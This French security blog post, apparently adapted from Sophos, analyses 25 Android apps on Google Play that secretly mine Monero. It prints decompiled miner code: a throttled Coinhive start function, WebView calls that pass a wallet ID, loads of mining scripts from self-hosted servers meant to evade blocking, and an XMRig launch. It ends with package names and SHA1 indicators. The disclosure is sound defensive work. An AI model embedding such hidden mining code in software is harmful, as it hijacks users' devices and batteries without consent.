Même si les prix des cryptomonnaies ont considérablement chuté au cours des derniers mois, les créateurs de malwares sont toujours enthousiastes à l’idée de profiter des appareils de leurs victimes pour effectuer du minage. Parallèlement à notre contribution au rapport Cyber Threat Alliance report on cryptomining and cryptojacking, sorti la semaine dernière, nous publions à présent ce rapport sur du code de cryptomining, non divulgué, dans des applications mobiles.
Les SophosLabs ont récemment découvert 25 applications Android sur Google Play qui ont l’apparence de jeux, d’utilitaires et d’applications éducatives, mais en réalité, elles transforment l’appareil mobile de la victime en véritables plateformes opaques d’échange de cryptomonnaies. Ces applications ont été téléchargées et installées plus de 120 000 fois !
Il a été constaté que la plupart des applications avaient intégré du code provenant de Coinhive, une implémentation JavaScript pour miner Monero. Coinhive est spécialement conçu pour effectuer les calculs à l’aide des CPUs (par opposition aux processeurs graphiques), ce qui en fait un candidat idéal pour du minage discret sur les appareils mobiles.
Le code mineur, qui ne comporte que quelques lignes, peut être facilement ajouté à toute application utilisant un navigateur WebView intégré. Monero a été la cryptomonnaie choisie par les créateurs au niveau de toutes ces applications, car il offre suffisamment de confidentialité pour masquer la source, la destination et la quantité de données minées. Ces applications utilisent le “CPU throttling” pour limiter l’utilisation du processeur pour le minage, évitant ainsi les pièges habituels : surchauffe des périphériques, surconsommation au niveau des batteries et lenteur globale des périphériques, une erreur commise l’an dernier par Loapi.
11 parmi les 25 applications étaient des applications de préparation à des tests standardisés aux États-Unis, tels que ACT, GRE ou SAT, et étaient publiées par un seul compte développeur (Gadgetium). Ces applications contiennent une page HTML contenant un mineur basé sur Coinhive.
function startMiner(n, id) { if(isAlreadyStarted) return; isAlreadyStarted=true; var miner = new CoinHive.Anonymous(id, { threads: n-1, autoThreads: true, throttle: 0.5 }); miner.start(); }
Les applications doivent d’abord activer JavaScript et charger la page HTML à l’aide de WebView.
this.mWebView.getSettings().setJavaScriptEnabled(true); ... this.mWebView.loadUrl("file:///android_asset/test.html");
Le mineur est ensuite lancé à l’aide d’une valeur de portefeuille (miner_id
) extraite depuis les ressources.
this.mWebView.loadUrl("javascript:startMiner(\"" + this.mNumCores + "\",\"" + this.getString(string.miner_id) + "\")");
Alors que la plupart des applications de minage basées sur Coinhive utilisaient des scripts hébergés sur coinhive.com
, deux de ces applications, à savoir co.lighton
et com.mobeleader.spsapp
hébergeaient des scripts de minage sur leurs propres serveurs (illustrés ci-dessous), vraisemblablement pour contourner les pare-feu ou les contrôles parentaux et les services de réputation, susceptibles de bloquer le domaine de Coinhive par défaut.
Log.i(this.this$1.this$0.TAG, " STOP "); this.this$1.this$0.web.loadUrl("about:blank"); this.this$1.this$0.cancelNotification(); this.this$1.this$0.mFirebaseAnalytics.logEvent("miner_stop", ((Bundle)v8)); } else { Log.i(this.this$1.this$0.TAG, " START "); this.this$1.this$0.web.loadUrl("http://www.buyguard.co/sdk/?key=1a0Cej64dYffEiItrLIeiq4GfpPtn0Hf"); this.this$1.this$0.setNotification(); this.this$1.this$0.mFirebaseAnalytics.logEvent("miner_start", ((Bundle)v8)); }
this.c = new WebView(this.getApplicationContext()); this.c.getSettings().setJavaScriptEnabled(true); this.c.setWebChromeClient(new WebChromeClient()); this.c.loadUrl("https://miner.mobeleader.com/miner.php?hash=" + this.a.getString("mobeleader_appHash", "") + "&coin=" + this.a.getString("mobeleader_coin", ""));
L’une des applications découvertes, de.uwepost.apaintboxforkids
, utilisait XMRig, un mineur CPU open-source capable de miner plusieurs cryptomonnaies, dont Monero.
ProcessBuilder v8 = new ProcessBuilder(new String[]{"./xmrig"}); v8.directory(this.getApplicationContext().getFilesDir()); v8.environment().put("LD_LIBRARY_PATH", this.privatePath); v8.redirectErrorStream(); this.accepted = 0; this.process = v8.start(); this.outputHandler = new OutputReaderThread(this, this.process.getInputStream()); this.outputHandler.start(); Log.i("MiningSvc", "started, threads=" + arg10.threads + ", maxCpu=" + arg10.maxCpu);
Bien que les applications de minage aient été catégoriquement interdites sur Google Play, de nombreux mineurs de ce type sont toujours disponibles gratuitement sur cette marketplace.
Les SophosLabs ont informé Google au sujet de ces applications de minage en août. Certaines de ces applications ont été supprimées, mais beaucoup d’entre elles restent disponibles. Ces applications sont détectées par Sophos Mobile Security en tant que Coinhive JavaScript cryptocoin miner et Android XMRig Miner.
Indicateurs de cryptomining :
Package Name | SHA1 |
com.cakrawalapengetahuan.infogurupendidikan | 28335b0feeef216cad3e578c62ed78450fefbf19 |
com.devmouakkit.mugginsdominoesgame | 0f65dac3cc40e888c52f38dc0121990a47cdf773 |
com.gadgetium.android.act | d758e3e00a002d882ed9993ba9dc1efb4e7746df |
com.gadgetium.android.cat | dc92d18740ae5f802a96e5da72e655f12627c927 |
com.gadgetium.android.sat | 00739b32e5edb863e6f029aa171025a7161e5fc6 |
com.gadgetium.gmat | 533ece694ec86d834ddcbd918aa6497741f1ef9b |
com.gadgetium.gre | af0348a4c975aaa1e0bf0bbc95f9f258f1653250 |
com.gadgetium.lsat | 09807f9f2059da076b681501ba472c625bcb974d |
com.gadgetium.psat | 0589115a44f8dd52c9c21b92fa2b5b933663601c |
com.gadgetium.test.aieee | 137098f142b685caf878ae9e034797cee0dc17f9 |
com.gadgetium.test.aiims | 73839664372812a004d65a6592c985fb26bbd7a5 |
com.gadgetium.test.gate | 208f843528e51bc8ca1896042da3fa4a2d9dd847 |
com.gadgetium.test.stan | 0059e145a12a99a63a364c27ead7ed04d7d2dd16 |
com.lhds.vendors.android | 7e80cb4ae5adf85ccca8e251263e1ab44ea51611 |
com.palpostr.palkar | b85b257e1ffd0c48811a53f3b9577669f917af6f |
com.rdt.tapbugs | de45eee90c954befdd7451c6d611f53ee729af6e |
com.rdt.yamaya.dreamspell | 299805c00b7fe80667042de671335362ebe2b62f |
com.rlite.funnfair | d5482461e0c70dd7e2988819a47f8161a5c4d8ad |
com.servicehangar.seriestrailer | c31720e56233f455b3527c5ddc536c2b9b94516c |
com.thanhtuteam.gameviet2048 | ffc00c57f1339abe99aa4c8e561accaed2e695ea |
de.uwepost.apaintboxforkids | c943fa6b495469104d2a46a11f626d65f237a3f3 |
com.mobeleader.spsapp | 86da0dc430247a6fbbcd0fcb9b848deab37e6676 |
com.solovev.kghelper | edaf4166d4d332659af2c7c0252ea0b09800bf2f |
com.thothprojects.trancedroid | 0c87047219723f4d223d37706e26eabb2efdd839 |
co.lighton | ab0d5b5a1c8db42352cdc8173630099f8628dc5b |
Billet inspiré de Cryptojacking apps return to Google Play Market, du Blog Sophos.